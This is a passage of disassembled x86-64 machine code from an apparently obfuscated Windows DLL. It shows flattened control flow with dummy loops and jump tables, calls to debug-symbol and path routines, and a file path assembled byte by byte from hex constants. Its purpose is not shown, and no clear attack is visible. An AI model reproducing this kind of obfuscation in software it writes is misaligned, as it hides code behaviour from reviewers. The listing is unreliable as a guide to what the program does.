sub eax, 0x51
je 0x180029698
cmp eax, 0x51
je case.0x18002c317.0
jmp 0x1800296f0
mov r8, r15
mov rdx, r10
mov ecx, 0x4d
call fcn.180071700
mov dword [rsp + 0x70], 0xffffffff
jmp 0x1800296f0
mov rcx, qword [r10 + 0x50]
test rcx, rcx
je 0x1800296c0
call fcn.180089010
cmp dword [0x1800cc94c], 5
jg 0x1800296f0
xor edx, edx
lea r8, str.2016_09_13_17.16
lea ecx, [rdx + 5]
call fcn.180040e70
jmp 0x1800296f0
mov rcx, qword [r10 + 0x48]
jmp 0x1800296e6
mov rcx, qword [r10 + 0x30]
test rcx, rcx
je 0x1800296f0
call fcn.180089010
mov r10, qword [rsp + 0x58]
add edi, 0x51
cmp edi, 0x246
jb 0x180029675
mov rsi, qword [rbp + 0xd8]
add r14d, 0x60
mov rcx, qword [rbp + 0xc8]
jmp 0x180028c78
mov ecx, dword [r10 + 0x40]
shl rcx, 2
call fcn.18008946c
mov r10, qword [rsp + 0x58]
add r14d, 0x60
mov rsi, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xc8]
mov qword [r10 + 0x50], rax
jmp 0x180028c78
mov r8, r10
mov qword [rbp - 0x38], rsi
lea rdx, [rbp - 0x38]
mov ecx, 0x5f
call fcn.18000a4d0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x68]
mov r8, rcx
mov eax, dword [rcx + 0x40]
mov ecx, 0xb7
shl eax, 4
mov dword [rbp - 0x68], eax
call fcn.180017fb0
jmp 0x1800298a8
mov eax, r14d
sub eax, 0x1e1
je 0x18002986c
sub eax, 0x60
je 0x180029847
sub eax, 0x60
je 0x180029828
sub eax, 0x60
je 0x1800297e1
cmp eax, 0x60
jne 0x1800298ad
xor r8d, r8d
lea ecx, [rax - 0x4c]
mov rdx, r10
call fcn.18000e270
mov r10, qword [rsp + 0x58]
add r14d, 0x60
mov rsi, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xc8]
mov dword [r10 + 0x10], eax
mov dword [r10 + 0x1c], eax
jmp 0x180028c78
mov eax, dword [r10 + 0x18]
xor edx, edx
mov dword [rbp - 0x68], eax
xor r9d, r9d
lea rax, [rbp - 0x68]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea ecx, [rdx + 0x20]
mov qword [rsp + 0x20], r10
call fcn.18000ba70
mov rcx, qword [rsp + 0x58]
mov r8d, 2
mov rdx, rcx
mov eax, dword [rcx + 0x14]
lea rcx, [rbp + 0x78]
mov dword [rbp + 0x78], eax
call fcn.1800150a0
jmp 0x1800298a8
mov rsi, qword [rbp + 0xd8]
add r14d, 0x60
mov rcx, qword [rbp + 0xc8]
mov qword [r10 + 0x14], 0
jmp 0x180028c78
mov eax, dword [r10 + 0x28]
lea rcx, [rbp - 0x68]
shl eax, 4
xor r9d, r9d
mov r8, r10
mov dword [rbp - 0x68], eax
xor edx, edx
mov dword [rsp + 0x20], 0x51
call fcn.18000f0d0
jmp 0x1800298a8
mov qword [rbp - 0x38], rcx
lea r8, [rbp - 0x38]
mov rcx, r10
mov edx, 8
call fcn.18000c980
jmp 0x1800298a8
mov eax, dword [r10 + 0x10]
lea rcx, [rbp - 0x68]
mov r9d, 0x1d
mov dword [rbp - 0x68], eax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, r10
call fcn.180038f50
mov dword [rsp + 0x70], ebx
mov r10, qword [rsp + 0x58]
mov rsi, qword [rbp + 0xd8]
add r14d, 0x60
mov rcx, qword [rbp + 0xc8]
jmp 0x180028c78
mov eax, dword [rsp + 0x54]
mov r15d, 1
mov r12, qword [rbp + 0xc0]
movzx r9d, byte [rsp + 0x50]
movzx r11d, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov r14d, dword [rsp + 0x54]
movzx esi, byte [rsp + 0x50]
mov dword [rsp + 0x54], r14d
mov ecx, dword [rsp + 0x54]
mov edi, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov qword [rbp + 0xc0], r13
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x40], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x70], eax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x6c], eax
mov byte [rsp + 0x68], r9b
mov qword [rbp - 0x48], r12
mov byte [rsp + 0x60], r11b
mov dword [rbp - 0x78], ecx
mov dword [rsp + 0x78], edi
mov byte [rsp + 0x50], sil
mov dword [rbp - 0x58], r15d
cmp r15d, 0x8a1
jae case.0x18002c317.0
cmp r15d, 0x44e
ja 0x18002acc8
je 0x1800291ae
cmp r15d, 0x20e
ja 0x180029b40
je 0x180029ace
mov eax, r15d
sub eax, 1
je case.0x18002c317.0
sub eax, 0x8d
je 0x180029a5e
sub eax, 0x60
je 0x1800299fc
sub eax, 0x60
je 0x1800299a8
cmp eax, 0x60
jne 0x18002cc04
mov r15d, 0x1ae
jmp 0x18002cc04
mov ecx, 0xf
nop dword [rax]
cmp ecx, 0xf
je 0x1800299c0
cmp ecx, 0x6b
je 0x180027ef9
jmp 0x1800299ec
cmp byte [rbx], 0x6c
je 0x1800299e5
mov eax, 0x5e
nop word [rax + rax]
cmp eax, 0x5e
je 0x18002cc44
add eax, 0x1490
cmp eax, 0x1490
jbe 0x1800299d0
mov dword [r10], 0x10
add ecx, 0x5c
cmp ecx, 0xc7
jb 0x1800299b0
jmp 0x18002cc04
mov edx, 0x10
mov eax, edx
sub eax, 0xf
je 0x180027ef9
cmp eax, 1
jne 0x180029a4c
cmp byte [rbx], 0x75
je 0x180029a45
mov ecx, 0x3b
nop dword [rax + rax]
mov eax, ecx
sub eax, 0x3b
je 0x180029a32
cmp eax, 0x46
je case.0x18002c317.0
jmp 0x180029a3a
mov dword [rsp + 0x70], 7
add ecx, 0x46
cmp ecx, 0xc7
jb 0x180029a20
mov dword [r10], 0xf
dec edx
cmp edx, 0xe
ja 0x180029a01
mov r15d, 0xee
jmp 0x18002cc04
mov edi, 0xbe
cmp edi, 0xbe
je 0x180029a95
cmp edi, 0x17c
je 0x180029a81
cmp edi, 0x23a
je 0x180027ef9
jmp 0x180029ab0
mov rax, qword [rbp - 0x80]
mov dword [r10], ebx
mov rax, qword [rax + 0x38]
test rax, rax
je 0x180029ab0
call rax
jmp 0x180029ab0
cmp byte [rbx], 0x65
je 0x180029ab0
mov eax, 0x35
nop
cmp eax, 0x35
je 0x18002cc44
dec eax
cmp eax, 0x34
ja 0x180029aa0
mov r10, qword [rsp + 0x58]
add edi, 0xbe
cmp edi, 0x23a
jbe 0x180029a63
mov r15d, 0x8e
jmp 0x18002cc04
mov edi, 0x81
cmp edi, 0x81
je 0x180029b02
cmp edi, 0x912
je 0x180029af1
cmp edi, 0x11a3
je 0x180027ef9
jmp 0x180029b28
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x40]
test rax, rax
je 0x180029b28
call rax
jmp 0x180029b28
cmp byte [rbx], 0x6c
je 0x180029b25
mov eax, 0x71
nop dword [rax]
cmp eax, 0x71
je 0x18002cc44
add eax, 0x17d6
cmp eax, 0x17d6
jbe 0x180029b10
mov dword [r10], ebx
mov r10, qword [rsp + 0x58]
add edi, 0x891
cmp edi, 0x19b3
jbe 0x180029ad3
jmp 0x18002cc04
mov eax, r15d
sub eax, 0x26e
je 0x18002a72c
sub eax, 0x60
je 0x180029052
sub eax, 0x60
je 0x18002a525
sub eax, 0x60
je 0x180029ee0
cmp eax, 0x60
jne 0x18002cc04
mov esi, 0xac
nop word [rax + rax]
mov eax, esi
sub eax, 0xac
je 0x180029d47
sub eax, 1
je 0x180029df2
sub eax, 1
je 0x180029ba9
cmp eax, 1
je 0x180027ef9
jmp 0x180029df7
mov edi, 0x93
mov ebx, 0x2520
cmp edi, 0x179
ja 0x180029c8a
je 0x180029c7c
mov eax, edi
sub eax, 0x93
je 0x180029c5c
sub eax, 0x2e
je 0x180029c50
sub eax, 0x2e
je 0x180029c19
sub eax, 0x2e
je 0x180029c0d
cmp eax, 0x2e
jne 0x180029d31
lea r8d, [rax - 0x2a]
lea rdx, [0x1800b2056]
lea rcx, [rbp + 0x10f]
call fcn.180088b50
mov byte [rbp + 0x113], 0
jmp 0x180029d31
mov byte [rbp + 0x10f], 0
jmp 0x180029d31
mov r8d, 2
lea rdx, [0x1800b211c]
lea rcx, [rbp + 0x108]
call fcn.180089030
mov r8d, 2
lea rdx, [0x1800b2188]
lea rcx, [rbp + 0x10d]
call fcn.180088b50
jmp 0x180029d31
mov byte [rbp + 0x10b], 0
jmp 0x180029d31
movzx eax, word [0x1800b21f6]
mov word [rbp + 0x108], ax
movzx eax, byte [0x1800b21f8]
mov byte [rbp + 0x10a], al
jmp 0x180029d31
mov word [rbp + 0x113], 0x48
jmp 0x180029d31
mov eax, edi
sub eax, 0x1a7
je 0x180029d18
sub eax, 0x2e
je 0x180029cf4
sub eax, 0x2e
je 0x180029ceb
sub eax, 0x2e
je 0x180029ce2
cmp eax, 0x2e
jne 0x180029d31
lea r8d, [rax - 0x2d]
lea rdx, [0x1800b20b1]
lea rcx, [rbp + 0x108]
call fcn.180089030
mov r8, qword [sym.imp.USER32.dll_DdeFreeDataHandle]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x150]
call fcn.180001170
jmp 0x180029d31
mov byte [rbp + 0x11b], 0
jmp 0x180029d31
mov word [rbp + 0x119], bx
jmp 0x180029d31
movzx eax, word [0x1800b221a]
mov word [rbp + 0x116], ax
movzx eax, byte [0x1800b221c]
mov byte [rbp + 0x118], al
mov byte [rbp + 0x119], 0
jmp 0x180029d31
mov r8d, 2
lea rdx, [0x1800b1fde]
lea rcx, [rbp + 0x108]
call fcn.180089030
add edi, 0x2e
cmp edi, 0x28d
jb 0x180029bb3
xor ebx, ebx
jmp 0x180029df7
movsx eax, byte [rbx]
add eax, 0xffffffd5
cmp eax, 0xe
ja case.0x180029d69.44
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x2d0f4]
add rcx, rdx
jmp rcx
mov edi, 0x1f
mov eax, edi
sub eax, 0x1e
je 0x180029e15
cmp eax, 1
jne 0x180029dcf
mov rcx, qword [r10 + 8]
lea r8, [rbp - 0x50]
mov dword [r10 + 4], ebx
mov edx, 0x30
movzx eax, byte [rbx]
mov byte [rbp - 0x50], al
call fcn.180072e90
cmp eax, 1
je 0x180029dcf
mov ecx, 0x75
nop word [rax + rax]
mov eax, ecx
sub eax, 0x74
je case.0x18002c317.0
cmp eax, 1
jne 0x180029dc8
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0x73
ja 0x180029db0
mov r10, qword [rsp + 0x58]
dec edi
cmp edi, 0x1d
ja 0x180029d70
mov edi, 0xac
mov eax, edi
sub eax, 0xac
je 0x180029e1e
cmp eax, 1
jne 0x180029ea3
mov esi, 0xad
mov r10, qword [rsp + 0x58]
inc esi
cmp esi, 0xb0
jb 0x180029b80
mov r15d, 0x3ee
jmp 0x18002cc04
mov dword [r10], 0x16
jmp 0x180029df2
mov r14, qword [rsp + 0x58]
cmp dword [r14 + 4], 0
jne 0x180029e9c
mov rcx, qword [r14 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffe
jae 0x180029e94
movzx eax, byte [rbx]
lea r8, [rbp + 0x10]
mov rcx, qword [r14 + 8]
mov edx, 0x30
mov byte [rbp + 0x10], al
call fcn.180072e90
cmp eax, 1
je 0x180029e9c
mov eax, 0x40
nop word [rax + rax]
cmp eax, 0x40
je 0x180029e80
cmp eax, 0x62
je case.0x18002c317.0
jmp 0x180029e88
mov dword [rsp + 0x70], 6
add eax, 0x22
cmp eax, 0x84
jb 0x180029e70
jmp 0x180029e9c
mov dword [r14 + 4], 1
mov dword [r14], 0x15
inc edi
cmp edi, 0xae
jb 0x180029de0
mov ecx, 0x3a
nop word [rax + rax]
mov eax, ecx
sub eax, 0x39
je 0x180029df2
cmp eax, 1
je 0x18002cc44
dec ecx
cmp ecx, 0x38
ja 0x180029ec0
jmp 0x180029df7
mov eax, 0x2f
cmp eax, 0x2f
je 0x180029f24
cmp eax, 0x9bb
je 0x180029f15
cmp eax, 0x1347
je 0x180029f08
cmp eax, 0x1cd3
je case.0x18002c317.0
jmp 0x18002a510
mov dword [rsp + 0x70], 1
jmp 0x18002a510
mov r15d, 0x38e
mov dword [rbp - 0x58], r15d
jmp 0x18002a510
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x180029f4e.15
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x2d14c]
mov ecx, dword [rdx + rax*4 + 0x2d130]
add rcx, rdx
jmp rcx
mov eax, 0x26
cmp eax, 0x26
je 0x180029f88
add eax, 0x4b
cmp eax, 0x71
jb 0x180029f55
mov edi, 0x26
cmp edi, 0x26
je 0x18002a00b
cmp edi, 0x23a
jne 0x18002a056
mov dword [r10], 0x14
jmp 0x18002a50b
cmp dword [r10 + 4], 0
jne 0x18002a50b
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xffffffffffffffff
jae 0x180029ff9
movzx eax, byte [rbx]
lea r8, [rbp + 8]
mov byte [rbp + 8], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x18002a506
mov eax, 0xa3
nop dword [rax]
cmp eax, 0xa3
je 0x18002cc37
dec eax
cmp eax, 0xa2
ja 0x180029fe0
jmp 0x18002a506
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x18002a50b
movzx eax, byte [rbx]
lea r8, [rbp]
mov rcx, qword [r10 + 8]
mov edx, 0x30
mov byte [rbp], al
call fcn.180072e90
cmp eax, 1
je 0x18002a056
mov eax, 0x46
nop dword [rax]
cmp eax, 0x46
je 0x18002a042
cmp eax, 0x302
je case.0x18002c317.0
jmp 0x18002a04a
mov dword [rsp + 0x70], 6
add eax, 0x2bc
cmp eax, 0x578
jbe 0x18002a030
add edi, 0x214
cmp edi, 0x428
ja case.0x180029f4e.9
mov r10, qword [rsp + 0x58]
jmp 0x180029f67
mov edi, 0x39
mov eax, edi
sub eax, 0x39
je 0x18002a0a6
sub eax, 0x29
je 0x18002a091
cmp eax, 0x29
jne 0x18002a0f8
mov r10, qword [rsp + 0x58]
mov dword [r10], ebx
jmp 0x18002a50b
mov rcx, qword [rsp + 0x58]
mov edx, 0x55
add rcx, 8
call fcn.180009b10
jmp 0x18002a0f8
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 8]
test rdx, rdx
jne 0x18002a0e6
mov ecx, 0xa4
nop dword [rax]
mov eax, ecx
sub eax, 0xa4
je 0x18002a0d4
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002a0dc
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 0xa6
jb 0x18002a0c0
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002a0f8
mov rcx, qword [rdx]
call rax
add edi, 0x29
cmp edi, 0xb4
jb 0x18002a073
mov edi, 0x88
nop dword [rax]
cmp edi, 0x88
je 0x18002a165
cmp edi, 0x2a80
je 0x18002a150
cmp edi, 0x5478
je 0x18002a136
cmp edi, 0x7e70
je 0x18002a506
jmp 0x18002a1ab
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x18002a143
call qword [rax + 8]
mov rax, qword [rsp + 0x58]
mov dword [rax], 0x1a
jmp 0x18002a1ab
mov rcx, qword [rsp + 0x58]
mov edx, 0x55
add rcx, 8
call fcn.180009b10
jmp 0x18002a1ab
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 8]
test rdx, rdx
jne 0x18002a199
mov ecx, 0x2e
mov eax, ecx
sub eax, 0x2e
je 0x18002a18a
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002a192
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 0x30
jb 0x18002a178
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002a1ab
mov rcx, qword [rdx]
call rax
add edi, 0x29f8
cmp edi, 0xa7e0
jbe 0x18002a110
mov esi, 0x29
mov dword [rbp + 0x18], esi
mov eax, esi
sub eax, 0x27
je 0x18002a443
sub eax, 1
je 0x18002a403
cmp eax, 1
jne 0x18002a411
mov r14, qword [rbp - 0x80]
cmp qword [r14 + 0x28], 0
je 0x18002a3c7
mov edi, 0x5e
nop word [rax + rax]
cmp edi, 0x22c
ja 0x18002a2d2
je 0x18002a2b7
cmp edi, 0x145
ja 0x18002a26f
je 0x18002a25e
mov eax, edi
sub eax, 0x5e
je 0x18002a24f
sub eax, 0x4d
je 0x18002a240
cmp eax, 0x4d
jne 0x18002a3b6
mov dword [rbp + 0x158], 0x656d61
jmp 0x18002a3b6
mov dword [rbp + 0x154], 0x6e5f7269
jmp 0x18002a3b6
mov dword [rbp + 0x150], 0x645c3a43
jmp 0x18002a3b6
mov eax, 0x5c
mov word [rbp + 0x15b], ax
jmp 0x18002a3b6
mov eax, edi
sub eax, 0x192
je 0x18002a29e
cmp eax, 0x4d
jne 0x18002a3b6
mov eax, 0x6d
mov word [rbp + 0x162], ax
mov eax, 0x5c65
mov word [rbp + 0x163], ax
jmp 0x18002a3b6
mov dword [rbp + 0x15c], 0x726964
mov dword [rbp + 0x15f], 0x616e5f
jmp 0x18002a3b6
mov eax, 0x5f
mov dword [rbp + 0x165], 0x656c6966
mov word [rbp + 0x169], ax
jmp 0x18002a3b6
cmp edi, 0x360
ja 0x18002a376
je 0x18002a336
mov eax, edi
sub eax, 0x279
je 0x18002a325
sub eax, 0x4d
je 0x18002a314
cmp eax, 0x4d
jne 0x18002a3b6
mov eax, 0x6d
mov word [rbp + 0x16c], ax
mov eax, 0x65
mov word [rbp + 0x16d], ax
jmp 0x18002a3b6
mov eax, 0x61
mov word [rbp + 0x16b], ax
jmp 0x18002a3b6
mov eax, 0x6e
mov word [rbp + 0x16a], ax
jmp 0x18002a3b6
mov rax, qword [rsp + 0x58]
cmp qword [rax + 8], 0
jne 0x18002a3b6
mov ecx, 0xb8
nop word [rax + rax]
mov eax, ecx
sub eax, 0xb7
je case.0x18002c317.0
cmp eax, 1
jne 0x18002a36a
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0xb6
ja 0x18002a350
jmp 0x18002a3b6
mov eax, edi
sub eax, 0x3ad
je 0x18002a3a6
cmp eax, 0x4d
jne 0x18002a3b6
lea rcx, [rbp + 0x150]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov rcx, qword [rsp + 0x58]
mov edx, 0x55
add rcx, 8
call fcn.180009b10
jmp 0x18002a3b6
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
mov rcx, qword [rcx]
call qword [r14 + 0x28]
add edi, 0x4d
cmp edi, 0x447
jb 0x18002a200
jmp 0x18002a411
mov rsi, qword [rsp + 0x58]
mov edi, 0x70
lea r15d, [rdi - 0x1b]
mov eax, edi
sub eax, 0x70
je 0x18002a3e7
cmp eax, 1
jne 0x18002a3f3
mov qword [rsi + 8], rbx
jmp 0x18002a3f3
lea rcx, [rsi + 8]
mov edx, r15d
call fcn.180009b10
inc edi
cmp edi, 0x72
jb 0x18002a3d5
mov esi, dword [rbp + 0x18]
mov r15d, dword [rbp - 0x58]
jmp 0x18002a411
mov r14, qword [rbp - 0x80]
cmp qword [r14], 0
je 0x18002a411
call qword [r14 + 0x18]
dec esi
mov dword [rbp + 0x18], esi
cmp esi, 0x26
ja 0x18002a1c5
mov edi, 0xd
mov eax, edi
sub eax, 0xd
je 0x18002a485
sub eax, 0x2d
je 0x18002a470
sub eax, 0x2d
je 0x18002a454
cmp eax, 0x2d
je 0x18002a506
jmp 0x18002a4cb
mov r10, qword [rsp + 0x58]
mov dword [r10], 0x1a
jmp 0x18002a50b
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x48]
test rax, rax
je 0x18002a463
call rax
mov rax, qword [rsp + 0x58]
mov dword [rax], 0x1b
jmp 0x18002a4cb
mov rcx, qword [rsp + 0x58]
mov edx, 0x55
add rcx, 8
call fcn.180009b10
jmp 0x18002a4cb
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 8]
test rdx, rdx
jne 0x18002a4b9
mov ecx, 6
mov eax, ecx
sub eax, 6
je 0x18002a4aa
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002a4b2
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 8
jb 0x18002a498
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18002a4cb
mov rcx, qword [rdx]
call rax
add edi, 0x2d
cmp edi, 0xc1
jb 0x18002a424
mov eax, 0x53
nop
cmp eax, 0x53
je 0x18002a4f2
cmp eax, 0xdf1
je case.0x18002c317.0
jmp 0x18002a4fa
mov dword [rsp + 0x70], 7
add eax, 0xd9e
cmp eax, 0x1b3c
jbe 0x18002a4e0
mov r10, qword [rsp + 0x58]
mov eax, 0x2f
add eax, 0x98c
cmp eax, 0x2630
jbe 0x180029ee5
jmp 0x18002cc04
mov ecx, 0x69
nop word [rax + rax]
mov eax, ecx
sub eax, 0x67
je 0x180027ef9
sub eax, 1
je 0x18002a65e
cmp eax, 1
jne 0x18002a65e
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 9
ja case.default.0x18002a56f
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x2d1c4]
add rcx, rdx
jmp rcx
mov r14d, 0x13
nop word [rax + rax]
cmp r14d, 0x13
je 0x18002a6a6
cmp r14d, 0x227
je 0x18002a696
cmp r14d, 0x43b
je 0x18002a674
cmp r14d, 0x64f
je 0x18002a5bc
cmp r14d, 0x863
je 0x18002a659
jmp 0x18002a62a
cmp dword [rbp + 0x88], 0
mov esi, ebx
movzx eax, byte [rbp - 0x30]
cmovne esi, eax
test sil, sil
je 0x18002a621
mov ebx, dword [rbp - 0x74]
mov edi, 0x8c
nop dword [rax]
mov eax, edi
sub eax, 0x8c
je 0x18002a60c
cmp eax, 0xc
jne 0x18002a611
mov r8d, ebx
lea rdx, [rbp + 0x150]
mov rcx, r13
call qword [sym.imp.dbghelp.dll_SymGetSearchPath]
mov rcx, r13
call qword [sym.imp.dbghelp.dll_SymCleanup]
jmp 0x18002a611
mov ebx, 0x104
add edi, 0xc
cmp edi, 0xa4
jb 0x18002a5e0
mov dword [rbp - 0x74], ebx
xor ebx, ebx
mov byte [rbp - 0x30], sil
mov r10, qword [rsp + 0x58]
add r14d, 0x214
cmp r14d, 0xa64
jbe 0x18002a580
mov eax, 0x20
cmp eax, 0x20
je 0x18002cc44
cmp eax, 0x43
je 0x18002a659
add eax, 0x23
cmp eax, 0x66
jb 0x18002a643
mov ecx, 0x69
dec ecx
cmp ecx, 0x66
ja 0x18002a530
mov r15d, 0x32e
jmp 0x18002cc04
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.dbghelp.dll_SymInitialize]
mov r10, qword [rsp + 0x58]
mov dword [rbp + 0x88], eax
mov dword [r10], 0x13
jmp 0x18002a62a
mov r13, 0xffffffffffffffff
mov qword [rbp + 0xc0], r13
jmp 0x18002a62a
cmp dword [r10 + 4], 0
mov byte [rbp - 0x30], 1
jne 0x18002a62a
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xffffffffffffffff
jae 0x18002a71a
movzx eax, byte [rbx]
lea r8, [rbp - 8]
mov byte [rbp - 8], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x18002a625
mov eax, 0x70
nop
cmp eax, 0x70
je 0x18002cc37
add eax, 0x1500
cmp eax, 0x1500
jbe 0x18002a700
jmp 0x18002a625
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x18002a62a
mov r15, qword [rbp - 0x80]
mov r13, qword [rsp + 0x58]
mov r14d, 0xb2
nop dword [rax + rax]
lea eax, [r14 - 0xb2]
cmp eax, 6
ja case.default.0x18002a761
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0x2d1ec]
add rcx, rdx
jmp rcx
mov dword [rsp + 0x70], 1
jmp case.default.0x18002a761
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x18002a793.14
cdqe
movzx eax, byte [rdx + rax + 0x2d220]
mov ecx, dword [rdx + rax*4 + 0x2d208]
add rcx, rdx
jmp rcx
mov edi, 0x74
nop word [rax + rax]
mov eax, edi
sub eax, 0x74
je 0x18002a7c9
cmp eax, 0x61
jne 0x18002a850
mov rax, qword [rsp + 0x58]
mov r14d, 0xb4
mov r13, rax
mov dword [rax], 0x12
jmp case.default.0x18002a761
mov edx, 0x79
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
call fcn.18001b550
mov rcx, rax
mov rax, qword [rsp + 0x58]
mov qword [rax + 8], rcx
test rcx, rcx
jne 0x18002a824
mov edx, 0xb3
nop word [rax + rax]
mov eax, edx
sub eax, 0xb2
je case.0x18002c317.0
cmp eax, 1
jne 0x18002a81a
mov dword [rsp + 0x70], 6
dec edx
cmp edx, 0xb1
ja 0x18002a800
lea r8, [rbp - 0x58]
mov byte [rbp - 0x58], 0x2e
mov edx, 0x30
call fcn.180072e90
cmp eax, 1
je 0x18002a850
mov eax, 0x3a
cmp eax, 0x3a
je 0x18002cc37
dec eax
cmp eax, 0x39
ja 0x18002a840
add edi, 0x61
cmp edi, 0x136
jb 0x18002a7a0
mov r13, qword [rsp + 0x58]
mov esi, 0x76
nop dword [rax]
cmp esi, 0x76
je 0x18002a926
cmp esi, 0x2ade
je 0x18002a901
cmp esi, 0x5546
je 0x18002a89b
cmp esi, 0x7fae
je 0x18002abca
jmp 0x18002a8a5
mov rax, qword [rsp + 0x58]
mov dword [rax], ebx
mov r13, rax
add esi, 0x2a68
cmp esi, 0xa9a0
jbe 0x18002a870
mov esi, 0xc2
nop dword [rax + rax]
mov eax, esi
sub eax, 0xc2
je 0x18002a9b7
sub eax, 0x14
je 0x18002a975
sub eax, 0x14
je 0x18002a969
cmp eax, 0x14
jne 0x18002a9ee
mov rax, qword [rsp + 0x58]
mov r14d, 0xb4
mov r13, rax
mov dword [rax], 0x1a
jmp case.default.0x18002a761
mov rax, qword [r15 + 0x28]
test rax, rax
je 0x18002a913
mov rcx, qword [r13 + 8]
mov rcx, qword [rcx]
call rax
mov edx, 0x55
lea rcx, [r13 + 8]
call fcn.180009b10
jmp 0x18002a8a5
mov rax, qword [rsp + 0x58]
cmp qword [rax + 8], 0
jne 0x18002a8a2
mov ecx, 0x17
nop dword [rax + rax]
mov eax, ecx
sub eax, 0x16
je case.0x18002c317.0
cmp eax, 1
jne 0x18002a958
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0x15
ja 0x18002a940
mov r13, qword [rsp + 0x58]
jmp 0x18002a8a5
cmp qword [r15], 0
je 0x18002a9ee
call qword [r15 + 8]
jmp 0x18002a9ee
mov rax, qword [r15 + 0x28]
test rax, rax
je 0x18002a99a
mov rcx, qword [r13 + 8]
lea rdi, [r13 + 8]
mov rcx, qword [rcx]
call rax
mov edx, 0x55
mov rcx, rdi
call fcn.180009b10
jmp 0x18002a9ee
mov rdi, qword [rsp + 0x58]
mov edx, 0x55
mov r13, qword [rsp + 0x58]
add rdi, 8
mov rcx, rdi
call fcn.180009b10
jmp 0x18002a9ee
mov rax, qword [rsp + 0x58]
cmp qword [rax + 8], 0
jne 0x18002a9eb
mov eax, 0x13
nop dword [rax + rax]
cmp eax, 0x13
je 0x18002cc37
add eax, 0x11
cmp eax, 0x24
jb 0x18002a9d0
mov r13, qword [rsp + 0x58]
jmp 0x18002a9ee
mov r13, rax
add esi, 0x14
cmp esi, 0x112
jb 0x18002a8c0
mov esi, 0x23
mov eax, esi
sub eax, 0x23
je 0x18002aad4
sub eax, 1
je 0x18002aa8f
sub eax, 1
je 0x18002aa22
cmp eax, 1
je 0x18002abca
jmp 0x18002aa3e
cmp qword [r15], 0
je 0x18002aa30
call qword [r15 + 0x18]
mov rax, qword [rsp + 0x58]
mov dword [rax], 0x1a
mov r13, rax
inc esi
cmp esi, 0x27
jb 0x18002aa02
mov edi, 6
nop word [rax + rax]
mov eax, edi
sub eax, 6
je 0x18002ab59
sub eax, 0x37
je 0x18002ab45
sub eax, 0x37
je 0x18002ab1d
cmp eax, 0x37
jne 0x18002ab8e
mov rax, qword [rsp + 0x58]
mov r14d, 0xb4
mov r13, rax
mov dword [rax], 0x1b
jmp case.default.0x18002a761
mov rax, qword [r15 + 0x28]
test rax, rax
je 0x18002aab4
mov rcx, qword [r13 + 8]
lea rdi, [r13 + 8]
mov rcx, qword [rcx]
call rax
mov edx, 0x55
mov rcx, rdi
call fcn.180009b10
jmp 0x18002aa3e
mov rdi, qword [rsp + 0x58]
mov edx, 0x55
mov r13, qword [rsp + 0x58]
add rdi, 8
mov rcx, rdi
call fcn.180009b10
jmp 0x18002aa3e
mov rax, qword [rsp + 0x58]
cmp qword [rax + 8], 0
jne 0x18002aa3b
mov ecx, 0x52
nop dword [rax]
mov eax, ecx
sub eax, 0x51
je case.0x18002c317.0
cmp eax, 1
jne 0x18002ab0c
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0x50
ja 0x18002aaf0
mov r13, qword [rsp + 0x58]
